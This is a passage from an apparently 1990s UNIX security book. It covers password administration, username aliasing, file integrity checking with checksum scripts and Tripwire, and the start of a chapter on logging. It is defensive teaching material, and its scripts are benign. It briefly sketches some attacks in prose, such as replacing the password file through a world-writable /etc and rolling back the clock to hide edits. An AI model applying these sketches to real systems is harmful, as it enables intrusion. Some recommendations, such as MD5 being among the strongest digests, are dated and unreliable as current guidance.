  • This method depends on attackers not knowing the exact number of rounds used in the encryption. If they discover that you're using 26 rounds instead of 25, for example, they can modify their own password-breaking software and attack your system as before. (However, this scenario is unlikely to happen in most environments; the cracker is more likely to try to break into another computer - hardly a drawback at all!)

  • If an insider knows both his cleartext password and the encrypted version, he can also determine experimentally how the algorithm was changed.

NOTE: While increasing the number of rounds that the encryption algorithm performs is a relatively safe operation, don't alter the algorithm used in the actual password mechanism unless you are very, very confident that you know what you are doing. It is very easy to make a change you think is adding complexity, only to make things much simpler for an attacker who understands the algorithm better than you do.

8.8.8 Disabling an Account by Changing Its Password

If a user is going away for a few weeks or longer, you may wish to prevent direct logins to that user's account so the account won't be used by someone else.

As mentioned earlier, one easy way to prevent logins is to insert an asterisk (*) before the first character of the user's password in the /etc/passwd file or shadow password file.[22] The asterisk will prevent the user from logging in, because the user's password will no longer encrypt to match the password stored in /etc/passwd, and the user won't know what's wrong. To re-enable the account with the same password, simply remove the asterisk.

[22] This method of changing a user's password is not sufficient if the user has a .rhosts file or can rlogin from a computer in your computer's /etc/hosts.equiv file. It also will not stop the execution of programs run by the cron or at commands.

For example, here is the /etc/passwd entry for a regular account:

omega:eH5/.mj7NB3dx:315:1966:Omega Agemo:/u/omega:/bin/csh

Here is the same account, with direct logins prevented:

omega:*eH5/.mj7NB3dx:315:1966:Omega Agemo:/u/omega:/bin/csh

Under SVR4, you can accomplish the same thing by using the -l option to the passwd command, (e.g., passwd -l omega).

You should be sure to check for at and cron jobs that are run by the user whose account you are disabling.

Note that the superuser can still su to the account. The section Section 8.5, "Protecting the root Account explains the details of protecting accounts in a variety of other ways. Briefly, we'd also suggest that you set the login shell equal to /bin/false, or to some program that logs attempts to use it. You should also consider changing the permissions on the user's home directory to mode 000 and changing the ownership to user root.

As the administrator, you may also want to set expiration and inactivity time-outs on accounts. This step means that accounts cease to be valid after a certain date unless renewed, or they cease to be usable unless a valid login occurs every so often. This last case is especially important in environments where you have a dynamic user population (as in a university) and it is difficult to monitor all of the accounts. We discussed this in greater detail earlier in this chapter.

8.8.9 Account Names Revisited: Using Aliases for Increased Security

As we described earlier in this chapter, you can give accounts almost any name you want. The choice of account names will usually be guided by a mixture of administrative convenience and user preference. You might prefer to call the accounts something mnemonic, so that users will be able to remember other usernames for electronic mail and other communications. This method is especially useful if you give your users access to Usenet and they intend to post news. A properly chosen username, such as paula, is more likely remembered by correspondents than is AC00045.

At the same time, you can achieve slightly better security by having nonobvious usernames. This method is a form of security through obscurity. If an attacker does not know a valid username at your site, she will have greater difficulty breaking in. If your users' account names are not known outside your site and are nonobvious, potential intruders have to guess the account names as well as the password. This strategy adds some additional complexity to the task of breaking in, especially if some of your users have weak passwords.

If you use obscure account names, you need a way to protect those account names from outsiders while still allowing your users to access electronic mail and participate in Usenet discussions. The way to do this is with aliasing.

If you configure one machine to be your central mail and news site, you can set your software to change all outgoing mail and news to contain an alias instead of the real account name. This is probably what you wish to do if you decide to install a firewall between your site and the outside network (see Chapter 21, Firewalls).

For example, your mailer could rewrite the From: line of outgoing messages to change a line that looks like this:

From: paula@home.acs.com

to look like this:

From: Paula.Harris@ACS.COM

This address is also the electronic mail address Paula would put on her business cards and correspondence. Incoming mail to those addresses would go through some form of alias resolution and be delivered to her account. You would also make similar configuration changes to the Usenet software. There is an additional advantage to aliasing - if an outsider knows the names of his correspondents but not their account names (or machine names), he can still get mail to them.

If you take this approach, other network services, such as finger and who, must similarly be modified or disabled.[23]

[23] Discussing all of the various mailers and news agents that are available and how to modify them to provide aliasing is beyond the scope of this book. We suggest that you consult the O'Reilly & Associates books on electronic mail and news to get this information.

Many large organizations use some form of aliasing. For example, mail to people at AT&T Bell Laboratories that's addressed to First.Last@att.com will usually be delivered to the right person.

Previous: 8.7 One-Time Passwords | Practical UNIX & Internet Security | Next: 9. Integrity Management
8.7 One-Time Passwords | Book Index | 9. Integrity Management


[Chapter 9] Integrity Management

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 8.8 Administrative Techniques for Conventional Passwords Chapter 9 Next: 9.2 Detecting Change

9. Integrity Management

Contents:
Prevention
Detecting Change
A Final Note

As we noted in Chapter 2, Policies and Guidelines, there are several different aspects to computer security. Integrity is, in most environments, the most important aspect of computer security. Paradoxically, integrity is also the aspect of security that has also been given low priority by practitioners over the years. This is so, in large part, because integrity is not the central concern of military security - the driving force behind most computer security research and commercial development over the past few decades. In the military model of security, we want to prevent unauthorized personnel from reading any sensitive data. We also want to prevent anyone from reading data that may not be sensitive, but that can be combined with other data to compromise information. This is called confidentiality and is of paramount importance in the military view of computer security.

Confidentiality is a weird priority. It leads us to security policies in which it is acceptable, at some level, to blow up the computer center, burn the backup tapes, and kill all the users - provided that the data files are not read by the attacker!

In most commercial and research environments, integrity is more important than confidentiality. If integrity were not the priority, the following scenarios might actually seem reasonable:

"Well, whoever came in over the net wiped out all of /usr and /etc, but they weren't able to read any of the files in /tmp. I guess our security worked!"

-or-

"Somebody compromised the root account and added 15 new users to /etc/passwd, but our security system kept them from doing an ls of the /usr/spool/mail directory. We dodged a bullet on this one!" -or-

"As near as we can tell, one of the people we fired last week planted a virus in the system that has added itself to every system binary, and the virus is causing the system to crash every 15 minutes. We don't have a security problem, though, because we have shut off the network connection to the outside, so nobody will know about it."

These examples are obviously silly in most settings. We do care about integrity: protecting our data from unauthorized modification or deletion. In many commercial environments, both confidentiality and integrity are important, but integrity is more important. Most banks, for example, desire to keep the account balances of their depositors both secret and correct. But, given a choice between having balances revealed and having them altered, the first is preferable to the second. Integrity is more important than confidentiality.

In a typical UNIX system, protecting the integrity of system and user data can be a major challenge. There are many ways to alter and remove data, and often as little as a single bit change (like a protection bit or owner UID) can result in the opportunity to make more widespread changes.

But ensuring integrity is difficult. Consider some of the ways that an unauthorized user could change or delete the file /usr/spaf/notes owned by user spaf:

  • Permissions on notes allow modification by other users.

  • Someone is able to compromise the login password of user spaf.

  • Someone is able to compromise user root.

  • setuid programs to root or to spaf allow the file to be altered.

  • Permissions on one of the directories /, /usr, or /usr/spaf allow the file to be deleted.

  • Permissions can also allow the file /usr/spaf/notes to be moved and a new file created in its place. The new file would have ownership and permissions based on who created it. In a sense, the original file would not have been deleted, but only renamed.

  • Permissions for the group "owner" of the file or one of the containing directories allow another user to modify it.

  • /etc/passwd can be altered by an unauthorized user, allowing someone to become root or user spaf.

  • The block device representing the disk containing the file can be written to by an unprivileged user.

  • The raw device representing the disk containing the file can be written to by an unprivileged user.

  • The directory is exported using some network filesystem that can be compromised and written to by an external host.

  • Buggy software allows the file to be altered by an unauthorized user.

  • Permissions on a system binary allow an unauthorized individual to plant a Trojan Horse or virus that modifies the file.

And that is a partial list!

The goal of good integrity management is to prevent alterations to (or deletions of) data, to detect modifications or deletions if they occur, and to recover from alterations or deletions if they happen. In the next few sections, we'll present methods of attaining these goals.

9.1 Prevention

Whenever possible, we would like to prevent unauthorized alteration or deletion of data on our systems. We can do so via software controls and some hardware means. We have discussed many of the software methods available on UNIX systems in other chapters. These have included setting appropriate permissions on files and directories, restricting access to the root account, and controlling access to remote services.

Unfortunately, no matter how vigilant we may be, bugs occur in software (more often than they should!), and configuration errors are made.[1] In such cases, we desire that data be protected by something at a lower level - something in which we might have more confidence.

[1] In a presentation by Professor Matt Bishop of UC Davis, he concluded that as many as 95% of reported UNIX security incidents that he studied might be the results of misconfiguration!

9.1.1 Immutable and Append-Only Files

Two new mechanisms were built into the BSD 4.4 version of UNIX: the immutableand append-only files. These wonderful mechanisms are present only (at the time of this writing, to the best of our knowledge) in the FreeBSD, NetBSD, and BSDI versions of UNIX. The fact that more commercial vendors have not seen fit to integrate this idea in their products is a pity.

As their names imply, immutable files are files that cannot be modified once the computer is running. They are ideally suited to system configuration files, such as /etc/rc and /etc/inetd.conf. Append-only files are files to which data can be appended, but in which existing data cannot be changed. They are ideally suited to log files.

To implement these new file types, BSD 4.4 introduced a new concept called the kernel security level. Briefly, the kernel security level defines four levels of security. Any process running as superuser can raise the security level, but only the init process (process number 1) can lower it. There are four security levels (see Table 9.1).:

Table 9.1: BSD 4.4 Security Levels
Security Level | Mode | Meaning
-1 | Permanently insecure | Normal UNIX behavior
0 | Insecure mode | Immutable and append-only flags can be changed.
1 | Secure mode | The immutable and append-only flags cannot be changed. UNIX devices that correspond to mounted filesystems, as well as the /dev/mem and /dev/kmem devices, are read-only.
2 | Highly secure mode | A superset of the secure mode. All disk devices are read-only, whether or not they correspond to mounted filesystems. This prevents an attacker from unmounting a filesystem to modify the raw bits on the device, but it prevents you from creating new filesystems with the newfs command while the system is operational.

The 4.4 BSD filesystem does not allow any changes to files that are immutable or append-only. Thus, even if an attacker obtains superuser access, he cannot modify these files. Furthermore, the system prevents "on-the-fly" patching of the operating system by making writes to the /dev/mem or /dev/kmem devices. Properly configured, these new innovations can dramatically improve a system's resistance to a determined attacker.

Of course, immutable files can be overcome by an attacker who has physical access to the computer: the attacker could simply reboot the computer in single-user mode, before the system switches into secure mode. However, if someone has physical access, that person could just as easily remove the disk and modify it on another computer system. In most environments, physical access can be restricted somewhat. If an attacker at a remote site shuts down the system, thus enabling writing of the partition, that attacker also shuts down any connection he would use to modify that partition.

Although these new filesystem structures are a great idea, it is still possible to modify data within immutable files if care is not taken. For instance, an attacker might compromise root and alter some of the programs used by the system during start-up. Thus, many files need to be protected with immutability if the system is to be used effectively.

9.1.2 Read-only Filesystems

A somewhat stronger preventive mechanism is to use hardware read-only protection of the data. To do so requires setting a physical write-protect switch on a disk drive or mounting the data using a CD-ROM. The material is then mounted using the software read-only option with the mount command. The best crackers in the business can't come across the network and write to a read-only CD-ROM!

NOTE: The read-only option to the mount command does not protect data! Disks mounted with the read-only option can still be written to using the raw device interface to the disk - the option only protects access to the files via the block device interface. Furthermore, an attacker who has gained the appropriate privileges (e.g., root) can always remount the disk read/write.

The existence of the read-only option to the mountcommand is largely for when a physically protected disk is mounted read-only; without the option, UNIX would attempt to modify the "last access" times of files and directories as they were read, which would lead to many error messages.

If it is possible to structure the system to place all the commands, system libraries, system databases, and important directories on read-only media, the system can be made considerably safer. To modify one of these files, an unauthorized user would require physical access to the disk drive to reset the switch, and sufficient access to the system (physical access or operator privileges) to remount the partition. In many cases, this access can be severely restricted. Unmounting and remounting a disk would likely be noticed, too!

In those cases in which the owner needs to modify software or install updates, it should be a simple matter to shut down the system in an orderly manner and then make the necessary changes. As an added benefit, the additional effort required to make changes in a multiuser system might help deter spur-of-the-moment changes, or the installation of software that is too experimental in nature. (Of course, this whole mechanism would not be very helpful to a dedicated Linux hacker who may be making daily changes. As with any approach, it isn't for everyone.)

The way to organize a system to use read-only disks requires assistance from the vendor of the system. The vendor needs to structure the system so that the few system files that need to be modified on a frequent basis are located on a different partition from the system files that are to be protected. These special files include log files, /etc/motd, utmp, and other files that might need to be altered as part of regular operation (including, perhaps, /etc/passwd if your users change passwords or shells frequently). Most modern systems have symbolic links that can be used for this purpose. In fact, systems that support diskless workstations are often already configured in this manner: volatile files are symbolically linked to a location on a /var partition. This link allows the binaries to be mounted read-only from the server and shared by many clients.

There are some additional benefits to using read-only storage for system files. Besides the control over modification (friendly and otherwise) already noted, consider the following:

  • You only need to do backups of the read-only partitions once after each change - there is no need to waste time or tapes performing daily or weekly backups

  • In a large organization, you can put a "standard" set of binaries up on a network file server - or cut a "standard" CD-ROM to be used by all the systems making configuration management and portability much simpler

  • There is no need to set disk quotas on these partitions, as the contents will not grow except in well-understood (and monitored) ways

  • There is no need to run periodic file clean or scan operations on these disks as the contents will not change

There are some drawbacks and limitations to read-only media, however:

  • This media is difficult to employ for user data protection. Usually, user data is too volatile for read-only media. Furthermore, it would require that the system administrator shut down the system each time a user wanted to make a change. This requirement would not work well in a multiuser environment.

  • Few vendors supply disks capable of operating in this mode as a matter of course. Most disks in workstations are internal, and do not have a write-protect switch.

  • It requires that an entire disk be made read-only.[2] There may be a large amount of wasted space on the disk.

    [2] Some disks allow only a range of sectors to be protected, but these are not the norm.

  • This media requires at least two physical disks per machine (unless you import network partitions) - the read-only disk for system files, and a disk for user files.

  • If you are operating from a CD-ROM disk, these may have slower access times than a standard internal read/write disk.

Previous: 8.8 Administrative Techniques for Conventional Passwords | Practical UNIX & Internet Security | Next: 9.2 Detecting Change
8.8 Administrative Techniques for Conventional Passwords | Book Index | 9.2 Detecting Change


[Chapter 9] 9.2 Detecting Change

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 9.1 Prevention Chapter 9
Integrity Management 		Next: 9.3 A Final Note

9.2 Detecting Change

As we saw in the last section, there may be circumstances in which we cannot use read-only media to protect files and directories. Or, we may have a case in which some of the important files are relatively volatile and need to change on a regular basis. In cases such as these, we want to be able to detect if unauthorized changes occur.

There are basically three approaches to detecting changes to files and inodes. The first and most certain way is to use comparison copies of the data to be monitored. A second way is to monitor metadata about the items to be protected. This includes monitoring the modification time of entries as kept by the operating system, and monitoring any logs or audit trails that show alterations to files. The third way is to use some form of signature of the data to be monitored, and to periodically recompute and compare the signature against a stored value. Each of these approaches has drawbacks and benefits, as we discuss below.

9.2.1 Comparison Copies

The most direct and assured method of detecting changes to data is to keep a copy of the unaltered data, and do a byte-by-byte comparison when needed. If there is a difference, this indicates not only that a change occurred, but what that change involved. There is no more certain and complete method of detecting changes.

Comparison copies, however, are unwieldy. They require that you keep copies of every file of interest. Not only does such a method require twice as much storage as the original files, it also may involve a violation of license or copyright of the files (copyright law allows one copy for archival purposes, and your distribution media is that one copy).[3] To use a comparison copy means that both the original and the copy must be read through byte by byte each time a check is made. And, of course, the comparison copy needs to be saved in a protected location.

[3] Copyright law does not allow for copies on backups.

Even with these drawbacks, comparison copies have a particular benefit - if you discover an unauthorized change, you can simply replace the altered version with the saved comparison copy, thus restoring the system to normal.

9.2.1.1 Local copies

One standard method of storing comparison copies is to put them on another disk. Many people report success at storing copies of critical system files on removable media, such as Syquest or Bernoulli drives. If there is any question about a particular file, the appropriate disk is placed in the drive, mounted, and compared. If you are careful about how you configure these disks, you get the added (and valuable) benefit of having a known good version of the system to boot up if the system is compromised by accident or attack.

A second standard method of storing comparison copies is to make on-disk copies somewhere else on the system. For instance, you might keep a copy of /bin/login in /usr/adm/.hidden/.bin/login. Furthermore, you might compress and/or encrypt the copy to help reduce disk use and keep it safe from tampering; if an attacker were to alter both the original /bin/login and the copy, then any comparison you made would show no change. The disadvantage to compression and encryption is that it then requires extra processing to recover the files if you want to compare them against the working copies. This extra effort may be significant if you wish to do comparisons daily (or more often!).

9.2.1.2 Remote copies

A third method of using comparison copies is to store them on a remote site and make them available remotely in some manner. For instance, you might place copies of all the system files on a disk partition on a secured server, and export that partition read-only using NFS or some similar protocol. All the client hosts could then mount that partition and use the copies in local comparisons. Of course, you need to ensure that whatever programs are used in the comparison (e.g., cmp, find, and diff) are taken from the remote partition and not from the local disk. Otherwise, an attacker could modify those files to not report changes!

9.2.1.3 rdist

Another method of remote comparison would be to use a program to do the comparison across the network. The rdist utility is one such program that works well in this context. The drawback to using rdist, however, is the same as with using full comparison copies: you need to read both versions of each file, byte by byte. The problem is compounded, however, because you need to transfer one copy of each file across the network each time you perform a check. Another drawback is that rdist depends on the Berkeley trusted hosts mechanism to work correctly (unless you have Kerberos installed), and this may open the systems more than you want to allow.

NOTE: If you have an older version of rdist, be certain to check with your vendor for an update. Some versions of rdist can be exploited to gain root access to a system. See CERT advisories 91-20 and 94-04 for more information.

One scenario we have found to work well with rdist is to have a "master" configuration for each architecture you support at your site. This "master" machine should not generally support user accounts, and it should have extra security measures in place. On this machine, you put your master software copies, possibly installed on read-only disks.

Periodically, the master machine copies a clean copy of the rdist binary to the client machine to be checked. The master machine then initiates an rdist session involving the -b option (byte-by-byte compare) against the client. Differences are reported, or optionally, fixed. In this manner you can scan and correct dozens or hundreds of machines automatically. If you use the -R option, you can also check for new files or directories that are not supposed to be present on the client machine.

An rdist "master" machine has other advantages. It makes it much easier to install new and updated software on a large set of client machines. This feature is especially helpful when you are in a rush to install the latest security patch in software on every one of your machines. It also provides a way to ensure that the owners and modes of system files are set correctly on all the clients. The down side of this is that if you are not careful, and an attacker modifies your master machine, rdist will as efficiently install the same security hole on every one of your clients, automatically!

Note that the normal mode of operation of rdist, without the -b option, does not do a byte-by-byte compare. Instead, it only compares the metadata in the Inode concerning times and file sizes. As we discuss in the next section, this information can be spoofed.

9.2.2 Checklists and Metadata

Saving an extra copy of each critical file and performing a byte-by-byte comparison can be unduly expensive. It requires substantial disk space to store the copies. Furthermore, if the comparison is performed over the network, either via rdist or NFS, it will involve substantial disk and network overhead each time the comparisons are made.

A more efficient approach would be to store a summary of important characteristics of each file and directory. When the time comes to do a comparison, the characteristics are regenerated and compared with the saved information. If the characteristics are comprehensive and smaller than the file contents (on average), then this method is clearly a more efficient way of doing the comparison.

Furthermore, this approach can capture changes that a simple comparison copy cannot: comparison copies detect changes in the contents of files, but do little to detect changes in metadata such as file owners or protection modes. It is this data - the data normally kept in the Inodes of files and directories - that is sometimes more important than the data within the files themselves. For instance, changes in owner or protection bits may result in disaster if they occur to the wrong file or directory.

Thus, we would like to compare the values in the inodes of critical files and directories with a database of comparison values. The values we wish to compare and monitor for critical changes are owner, group, and protection modes. We also wish to monitor the mtime (modification time) and the file size to determine if the file contents change in an unauthorized or unexpected manner. We may also wish to monitor the link count, Inode number, and ctime as additional indicators of change. All of this material can be listed with the ls command.

9.2.2.1 Simple listing

The simplest form of a checklist mechanism is to run the ls command on a list of files and compare the output against a saved version. The most primitive approach might be a shell script such as this:

#!/bin/sh

cat /usr/adm/filelist | xargs ls -ild > /tmp/now
diff -b /usr/adm/savelist /tmp/now

The file /usr/adm/filelist would contain a list of files to be monitored. The /usr/adm/savelist file would contain a base listing of the same files, generated on a known secure version of the system. The -i option adds the inode number in the listing. The -d option includes directory properties, rather than contents, if the entry is a directory name.

This approach has some drawbacks. First of all, the output does not contain all of the information we might want to monitor. A more complete listing can be obtained by using the find command:

#!/bin/sh

find `cat /usr/adm/filelist` -ls > /tmp/now
diff -b /usr/adm/savelist /tmp/now

This will not only give us the data to compare on the entries, but it will also disclose if files have been deleted or added to any of the monitored directories.

NOTE: Writing a script to do the above and running it periodically from a cron file can seem tempting. The difficulty with this approach is that an attacker may modify the cron entry or the script itself to not report any changes. Thus, be cautious if you take this approach and be sure to review and then execute the script manually on a regular basis.

9.2.2.2 Ancestor directories

We should mention here that you must check the ancestor directories of all critical files and directories - all the directories between the root directory and the files being monitored. These are often overlooked, but can present a significant problem if their owner or permissions are altered. An attacker could then be able to rename one of the directories and install a replacement or a symbolic link to a replacement that contains dangerous information. For instance, if the /etc directory becomes mode 777, then anyone could temporarily rename the password file, install a replacement containing a root entry with no password, run su, and reinstall the old password file. Any commands or scripts you have that monitor the password file would show no change unless they happen to run during the few seconds of the actual attack - something the attacker can usually avoid.

The following script takes a list of absolute file pathnames, determines the names of all containing directories, and then prints them. These files can then be added to your comparison list (checklist) such as the script shown earlier:

#!/bin/ksh

typeset pdir

function getdir      # Gets the real, physical pathname
{
   if [[ $1 != /* ]]
   then
      print -u2 "$1 is not an absolute pathname"
      return 1
   elif cd "${1%/*}"
   then
      pdir=$(pwd -P)
      cd ~-
   else
      print -u2 "Unable to attach to directory of $1"
      return 2
   fi
   return 0
}

cd /
print /     # ensure we always have the root directory included

while read name
do
   getdir $name || continue
   while [[ -n $pdir ]]
   do
      print $pdir
      pdir=${pdir%/*}
   done
done | sort -u

9.2.3 Checksums and Signatures

Unfortunately, the approach we described above for monitoring files can be defeated with a little effort. Files can be modified in such a way that the information we monitor will not disclose the change. For instance, a file might be modified by writing to the raw disk device after the appropriate block is known. As the modification did not go through the filesystem, none of the information in the inodes will be altered.

You could also surreptitiously alter a file by setting the system clock back to the time of the last legitimate change, making the edits, and then setting the clock forward again. If this is done quickly enough, no one will notice the change. Furthermore all the times on the file (including the ctime) will be set to the "correct" values. Several hacker toolkits in widespread use on the Internet actually take this approach. It is easier and safer than writing to the raw device. It is also more portable.

Thus, we need to have some stronger approach in place to check the contents of files against a known good value. Obviously, we could use comparison copies, but we have already noted that they are expensive. A second approach would be to create a signature of the file's contents to determine if a change occurred.

The first, naive approach with such a signature might involve the use of a standard CRC checksum, as implemented by the sum command. CRC polynomials are often used to detect changes in message transmissions, so they could logically be applied here. However, this application would be a mistake.

CRC checksums are designed to detect random bit changes, not purposeful alterations. As such, CRC checksums are good at finding a few bits changed at random. However, because they are generated with well-known polynomials, one can alter the input file so as to generate an arbitrary CRC polynomial after an edit. In fact, some of the same hacker toolkits that allow files to be changed without altering the time also contain code to set the file contents to generate the same sum outputs for the altered file as for the original.

To generate a checksum that cannot be easily spoofed, we need to use a stronger mechanism, such as the message digests described in "Message Digests and Digital Signatures" in Chapter 6, Cryptography. These are also dependent on the contents of the file, but they are too difficult to spoof after changes have been made.

If we had a program to generate the MD5 checksum of a file, we might alter our checklist script to be:

#!/bin/sh

find `cat /usr/adm/filelist` -ls -type f -exec md5 {}\; > /tmp/now
diff -b /usr/adm/savelist /tmp/now

9.2.4 Tripwire

Above, we described a method of generating a list of file attributes and message digests. The problem with this approach is that we don't really want that information for every file. For instance, we want to know if the owner or protection modes of /etc/passwd change, but we don't care about the size or checksum because we expect the contents to change. At the same time, we are very concerned if the contents of /bin/login are altered.

We would also like to be able to use different message digest algorithms. In some cases, we are concerned enough that we want to use three strong algorithms, even if they take a long time to make the comparison; after all, one of the algorithms might be broken soon.[4] In other environments, a fast but less secure algorithm, used in conjunction with other methods, might be all that is necessary.

[4] This is not so farfetched. As this book went to press, reports circulated of a weakness in the MD4 message digest algorithm.

In an attempt to meet these needs[5] the Tripwire package was written at Purdue by Gene Kim and Gene Spafford. Tripwire is a program that runs on every major version of UNIX (and several obscure versions). It reads a configuration file of files and directories to monitor, and then tracks changes to inode information and contents. The database is highly configurable, and allows the administrator to specify particular attributes to monitor, and particular message digest algorithms to use for each file.

[5] And more: see the papers that come with the distribution.

9.2.4.1 Building Tripwire

To build the Tripwire package, you must first download a copy from the canonical distribution site, located at ftp://coast.cs.purdue.edu/pub/COAST/Tripwire.[6] The distribution has been signed with a detached PGP digital signature to verify that the version you download has not been altered in an unauthorized manner (See the discussion of digital signatures in "PGP detached signatures" in Chapter 6.)

[6] As this book goes to press, several companies are discussing a commercial version of Tripwire. If one is available, a note will be on the FTP site noting its source. Be aware that Purdue University holds the copyright on Tripwire and only allows its use for limited, noncommercial use without additional license.

Next, read all the README files in the distribution. Be certain you understand the topics discussed. Pay special attention to the details of customization for local considerations, including the adaption for the local operating system. These changes normally need to be made in the include/config.h file. You also need to set the CONFIG_PATH and DATABASE_PATH defines to the secured directory where you will store the data.

One additional change that might be made is to the default flags field, defined in the DEFAULTIGNORE field. This item specifies the fields that Tripwire, by default, will monitor or ignore for files without an explicit set of flags. As shipped, this is set to the value "R-3456789" - the flags for read-only files, and only message digests 1 and 2. These are the MD5 and Snefru signatures. You may want to change this to include other signatures, or replace one of these signatures with a different one; the MD5, SHA, and Haval algorithms appear to be the strongest algorithms to use.

Next, you will want to do a make followed by a make test. The test exercises all of the Tripwire functions, and ensures that it was built properly for your machine. This will also demonstrate how the output from Tripwire appears.

The next step is to build the configuration file. Tripwire scans files according to a configuration file. The file contains the names of files and directories to scan, and flags to specify what to note for changes. For example, you might have the following in your configuration file:

/.rhosts R # may not exist
/.profile R # may not exist
/.forward R-12+78 # may not exist
/usr/spool/at L
=/tmp L-n

In this example, the /.rhosts, /.profile, and /.forward file have everything in the inode checked for changes except the access time. Thus, the owner, group, size, protection modes, modification time, link count, and ctime are all monitored for change. Further, the first two files are also checksummed using the MD5 and Snefru signatures, and the /.forward file is checksummed with the SHA and HAVAL algorithms. The directory /usr/spool/at and everything inside it is checked for changes to owner, group, protection modes, and link count; changes to contents are allowed and ignored. The /tmp directory is checked for the same changes, but its contents are not checked.

Other flags and combinations are also possible. Likely skeleton configuration files are provided for several major platforms.

Finally, you will want to move the binary for Tripwire and the configuration file to the protected directory that is located on (normally) read-only storage. You will then need to initialize the database; be sure that you are doing this on a known clean system - reinstall the software, if necessary. After you have generated the database, set the protections on the database and binary.

When you build the database, you will see output similar to this:

### Phase 1:   Reading configuration file
### Phase 2:   Generating file list
### Phase 3:   Creating file information database
###
### Warning:   Database file placed in ./databases/tw.db_mordor.cs.purdue.edu.
###
###            Make sure to move this file file and the configuration
###            to secure media!
###
###            (Tripwire expects to find it in `/floppy/system.db'.)

NOTE: When possible, build Tripwire statically to prevent its using shared libraries which might have Trojan horses in them. This type of attack is one of the few remaining vulnerabilities in the use of Tripwire.

9.2.4.2 Running Tripwire

You run Tripwire from the protected version on a periodic basis to check for changes. You should run it manually sometimes rather than only from cron. This step ensures that Tripwire is actually run and you will see the output. When you run it and everything checks out as it should, you will see output something like this:

### Phase 1:   Reading configuration file
### Phase 2:   Generating file list
### Phase 3:   Creating file information database
### Phase 4:   Searching for inconsistencies
###
###                     Total files scanned:            2640
###                           Files added:              0
###                           Files deleted:            0
###                           Files changed:            2586
###
###                     After applying rules:
###                           Changes discarded:        2586
###                           Changes remaining:        0
###

This output indicates no changes. If files or directories had changed, you would instead see output similar to:

### Phase 1:   Reading configuration file
### Phase 2:   Generating file list
### Phase 3:   Creating file information database
### Phase 4:   Searching for inconsistencies
###
###                     Total files scanned:            2641
###                           Files added:              1
###                           Files deleted:            0
###                           Files changed:            2588
###
###                     After applying rules:
###                           Changes discarded:        2587
###                           Changes remaining:        3
###
added:   -rw------- root           27 Nov  8 00:33:40 1995 /.login
changed: -rw-r--r-- root         1594 Nov  8 00:36:00 1995 /etc/mnttab
changed: drwxrwxrwt root         1024 Nov  8 00:42:37 1995 /tmp
### Phase 5:   Generating observed/expected pairs for changed files
###
### Attr        Observed (what it is)      Expected (what it should be)
### =========== ================================================
/etc/mnttab
      st_mtime: Wed Nov  8 00:36:00 1995      Tue Nov  7 18:44:47 1995
      st_ctime: Wed Nov  8 00:36:00 1995      Tue Nov  7 18:44:47 1995
    md5 (sig1): 2tIRAXU5G9WVjUKuRGTkdi        0TbwgJStEO1boHRbXkBwcD
 snefru (sig2): 1AvEJqYMlsOMUAE4J6byKJ        3A2PMKEy3.z8KIbwgwBkRs

/tmp
      st_nlink: 5                             4

This output shows that a file has been added to a monitored directory (Tripwire also detects when files are deleted), and that both a directory and a file had changes. In each case, the nature of the changes are reported to the user. This report can then be used to determine what to do next.

Tripwire has many options, and can be used for several things other than simple change detection. The papers and man pages provided in the distribution are quite detailed and should be consulted for further information .

Previous: 9.1 Prevention | Practical UNIX & Internet Security | Next: 9.3 A Final Note
9.1 Prevention | Book Index | 9.3 A Final Note


[Chapter 9] 9.3 A Final Note

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 9.2 Detecting Change Chapter 9
Integrity Management 		Next: 10. Auditing and Logging

9.3 A Final Note

Change detection, through integrity monitoring, is very useful for a system administrator. Not only can it discover malicious changes and act as a form of intrusion detection, but it can also detect:

  • Cases of policy violation by staff, where programs are installed or changed without following the proper notification procedure

  • Possible hardware failure leading to data corruption

  • Possible bugs in software leading to data corruption

  • Computer viruses, worms, or other malware

However, there are two key considerations for your mechanism to work, whether you are using rdist, comparison copies, checklists, or Tripwire:

  1. The copies of software you use as your base, for comparison or database generation, must be beyond reproach. If you start with files that have already been corrupted, your mechanism may report no change from this corrupted state. Thus, you should usually initialize your software base from distribution media to provide a known, good copy to initialize your comparison procedure.

  2. The software and databases you use with them must be protected under all circumstances. If an intruder is able to penetrate your defenses and gain root access between scans, he or she can alter your programs and edit your comparison copies and databases to quietly accept whatever other changes are made to the system. For this reason, you want to keep the software and data on physically protected media, such as write-protected disks or removable disks. By interposing a physical protection between this data and any malicious hacker, you prevent it from being altered even in the event of a total compromise.

Previous: 9.2 Detecting Change | Practical UNIX & Internet Security | Next: 10. Auditing and Logging
9.2 Detecting Change | Book Index | 10. Auditing and Logging


[Chapter 10] Auditing and Logging

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 9.3 A Final Note Chapter 10 Next: 10.2 The acct/pacct Process Accounting File

10. Auditing and Logging

Contents:
The Basic Log Files
The acct/pacct Process Accounting File
Program-Specific Log Files
Per-User Trails in the Filesystem
The UNIX System Log (syslog) Facility
Swatch: A Log File Tool
Handwritten Logs
Managing Log Files

After you have established the protection mechanisms on your system, you will need to monitor them. You want to be sure that your protection mechanisms actually work. You will also want to observe any indications of misbehavior or other problems. This process of monitoring the behavior of the system is known as auditing. It is part of a defense-in-depth strategy: to borrow a phrase from several years ago, you should trust, but you should also verify.

UNIX maintains a number of log files that keep track of what's been happening to the computer. Early versions of UNIX used the log files to record who logged in, who logged out, and what they did. Newer versions of UNIX provide expanded logging facilities that record such information as files that are transferred over the network, attempts by users to become the superuser, electronic mail, and much more.

Log files are an important building block of a secure system: they form a recorded history, or audit trail, of your computer's past, making it easier for you to track down intermittent problems or attacks. Using log files, you may be able to piece together enough information to discover the cause of a bug, the source of a break-in, and the scope of the damage involved. In cases where you can't stop damage from occurring, at least you will have some record of it. Those logs may be exactly what you need to rebuild your system, conduct an investigation, give testimony, recover insurance money, or get accurate field service performed.

But beware: Log files also have a fundamental vulnerability. Because they are often recorded on the system itself, they are subject to alteration or deletion. As we shall see, there are techniques that may help you to mitigate this problem, but no technique can completely remove it unless you log to a different machine.

Locating to a different machine is actually a good idea even if your system supports some other techniques to store the logs. Consider some method of automatically sending log files to a system on your network in a physically secured location. For example, sending logging information to a PC or Apple Macintosh provides a way of storing the logs in a machine that is considerably more difficult to break into and disturb. We have heard good reports from people who are able to use "outmoded" 80486 or 80386 PCs as log machines. For a diagram of such a setup, see Figure 10.1.

Figure 10.1: Secure logging host.

10.1 The Basic Log Files

